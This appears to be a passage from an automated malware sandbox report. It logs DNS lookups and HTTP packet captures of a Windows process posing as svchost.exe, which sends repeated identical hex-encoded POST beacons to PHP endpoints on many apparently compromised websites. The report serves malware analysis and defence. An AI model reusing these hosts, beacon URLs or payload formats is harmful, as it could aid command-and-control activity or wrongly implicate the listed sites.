                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.488719940 CET8.8.8.8192.168.2.30x2391No error (0)krp.unud.ac.id103.29.196.181A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.739108086 CET8.8.8.8192.168.2.30x43f9No error (0)ladiabetesnoesmilimite.com81.88.57.88A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:26.102615118 CET8.8.8.8192.168.2.30xa1d8No error (0)energieausweis-solingen.de92.51.129.66A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:28.107440948 CET8.8.8.8192.168.2.30xa1d8No error (0)energieausweis-solingen.de92.51.129.66A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.315347910 CET8.8.8.8192.168.2.30xc8b3Name error (3)ecoenergyefficiency.eunonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.100944996 CET8.8.8.8192.168.2.30xba39Name error (3)greenerdealz.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.261288881 CET8.8.8.8192.168.2.30x555cName error (3)le-clainche.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.607053995 CET8.8.8.8192.168.2.30x3227No error (0)kvnysoho.com103.224.212.220A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.041212082 CET8.8.8.8192.168.2.30xd2bServer failure (2)ww16.kvnysoho.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.192965984 CET8.8.8.8192.168.2.30x67b1Name error (3)kweebix.frnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.420001030 CET8.8.8.8192.168.2.30x9639No error (0)gracilarias.org209.151.150.34A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.099946022 CET8.8.8.8192.168.2.30xd2bServer failure (2)ww16.kvnysoho.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.689552069 CET8.8.8.8192.168.2.30x11bcName error (3)fitness-camp.com.uanonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.893091917 CET8.8.8.8192.168.2.30xa8f0Name error (3)homealldaylong.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.059549093 CET8.8.8.8192.168.2.30xafffName error (3)motorcycle-lawyer-los-angeles468.tknonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.472326040 CET8.8.8.8192.168.2.30xb01cNo error (0)liftingandtransport.ie78.153.216.15A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.977325916 CET8.8.8.8192.168.2.30x75ddName error (3)mp3download.tfaweb.orgnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.166474104 CET8.8.8.8192.168.2.30xcdfbNo error (0)hausessen.com178.254.0.189A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.523133039 CET8.8.8.8192.168.2.30xbb8fNo error (0)www.facebook.comstar-mini.c10r.facebook.comCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.523133039 CET8.8.8.8192.168.2.30xbb8fNo error (0)star-mini.c10r.facebook.com157.240.17.35A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.890271902 CET8.8.8.8192.168.2.30x9388Name error (3)hotel525.tknonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.153099060 CET8.8.8.8192.168.2.30x6ec9Name error (3)healthybloodpressure.infononenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.324754953 CET8.8.8.8192.168.2.30xc5a2No error (0)lvfrance.fr149.210.208.200A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.622476101 CET8.8.8.8192.168.2.30xe2cdNo error (0)gamehub.in64.190.62.111A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.031290054 CET8.8.8.8192.168.2.30xdb50No error (0)monarchrentals.co.za156.38.154.7A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.341825962 CET8.8.8.8192.168.2.30x5bc9No error (0)intermountainautoglass.com173.236.34.242A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.109700918 CET8.8.8.8192.168.2.30xaf76Name error (3)fga-agency.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.368680954 CET8.8.8.8192.168.2.30xfcd8No error (0)epatio.pl136.243.138.29A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.730938911 CET8.8.8.8192.168.2.30xf3d4No error (0)mobilityconsignment.com208.80.122.2A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.730938911 CET8.8.8.8192.168.2.30xf3d4No error (0)mobilityconsignment.com208.80.122.205A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.730938911 CET8.8.8.8192.168.2.30xf3d4No error (0)mobilityconsignment.com208.80.123.104A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.730938911 CET8.8.8.8192.168.2.30xf3d4No error (0)mobilityconsignment.com208.80.123.195A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.104321003 CET8.8.8.8192.168.2.30x25ecNo error (0)www.mobilityconsignment.comrovtyxb8n6.azureedge.netCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.104321003 CET8.8.8.8192.168.2.30x25ecNo error (0)scdn1bf04.wpc.99732.psicdn.netsni1gl.wpc.psicdn.netCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.104321003 CET8.8.8.8192.168.2.30x25ecNo error (0)sni1gl.wpc.psicdn.net152.199.21.175A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.478573084 CET8.8.8.8192.168.2.30xcb16No error (0)ignitethewinter.com184.168.131.241A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.149247885 CET8.8.8.8192.168.2.30x3321No error (0)filtryfotograficzne.photho.plphotho.plCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.149247885 CET8.8.8.8192.168.2.30x3321No error (0)photho.pl109.95.158.146A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.791301012 CET8.8.8.8192.168.2.30x4359No error (0)middletons.co.uk23.227.38.65A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.330108881 CET8.8.8.8192.168.2.30x7c1cNo error (0)mconnect.pl80.82.29.137A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.534657955 CET8.8.8.8192.168.2.30xf7c5Name error (3)free-tv-shows33.tknonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.695596933 CET8.8.8.8192.168.2.30x984aName error (3)kitchensetminimalis.tknonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.216556072 CET8.8.8.8192.168.2.30x1e97Name error (3)icsot.na.its.ac.idnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.380985022 CET8.8.8.8192.168.2.30xa589Name error (3)freemoviesonline665.tknonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.727410078 CET8.8.8.8192.168.2.30x67f3Name error (3)my-web.in.uanonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.088582993 CET8.8.8.8192.168.2.30x4de5Name error (3)goodtimecharlies.biznonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.280991077 CET8.8.8.8192.168.2.30x34c6Name error (3)levika.plnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.727164030 CET8.8.8.8192.168.2.30x9036Name error (3)e8udu6up.coolhandle-customer.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.878603935 CET8.8.8.8192.168.2.30x23e5Name error (3)getxender.innonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:53.531480074 CET8.8.8.8192.168.2.30x19fbName error (3)emprende21.esnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:06.234164000 CET8.8.8.8192.168.2.30x782aNo error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.akadns.netCNAME (Canonical name)IN (0x0001)

                                                                                                                                                                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                                                                                                                                                                    • iransun.net
                                                                                                                                                                                                                                                                                                    • inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    • ibhat.com
                                                                                                                                                                                                                                                                                                    • ladiabetesnoesmilimite.com
                                                                                                                                                                                                                                                                                                    • kvnysoho.com
                                                                                                                                                                                                                                                                                                    • gracilarias.org
                                                                                                                                                                                                                                                                                                    • liftingandtransport.ie
                                                                                                                                                                                                                                                                                                    • hausessen.com
                                                                                                                                                                                                                                                                                                    • lvfrance.fr
                                                                                                                                                                                                                                                                                                    • gamehub.in
                                                                                                                                                                                                                                                                                                    • monarchrentals.co.za
                                                                                                                                                                                                                                                                                                    • intermountainautoglass.com
                                                                                                                                                                                                                                                                                                    • epatio.pl
                                                                                                                                                                                                                                                                                                    • mobilityconsignment.com
                                                                                                                                                                                                                                                                                                    • www.mobilityconsignment.com
                                                                                                                                                                                                                                                                                                    • ignitethewinter.com
                                                                                                                                                                                                                                                                                                    • filtryfotograficzne.photho.pl
                                                                                                                                                                                                                                                                                                    • middletons.co.uk

                                                                                                                                                                                                                                                                                                    HTTP Packets

                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    0192.168.2.34971767.227.226.24080C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.648979902 CET1003OUTPOST /_rn62Q.php?z=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: iransun.net
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.649116039 CET1003OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.649207115 CET1003OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    1192.168.2.349719187.141.74.380C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153096914 CET1009OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153290033 CET1009OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.153414011 CET1009OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:31.652919054 CET1016OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:32.277961016 CET1017OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:33.590558052 CET1024OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:35.981360912 CET1032OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:38.294028044 CET1032OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:40.591082096 CET1034OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:45.294629097 CET1081OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:54.483012915 CET1106OUTPOST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Data Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    10192.168.2.349759156.38.154.780C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.228213072 CET6078OUTPOST /gMOvJe.php?z=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: monarchrentals.co.za
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.228461981 CET6078OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.228662968 CET6078OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.418981075 CET6079INHTTP/1.1 301 Moved Permanently
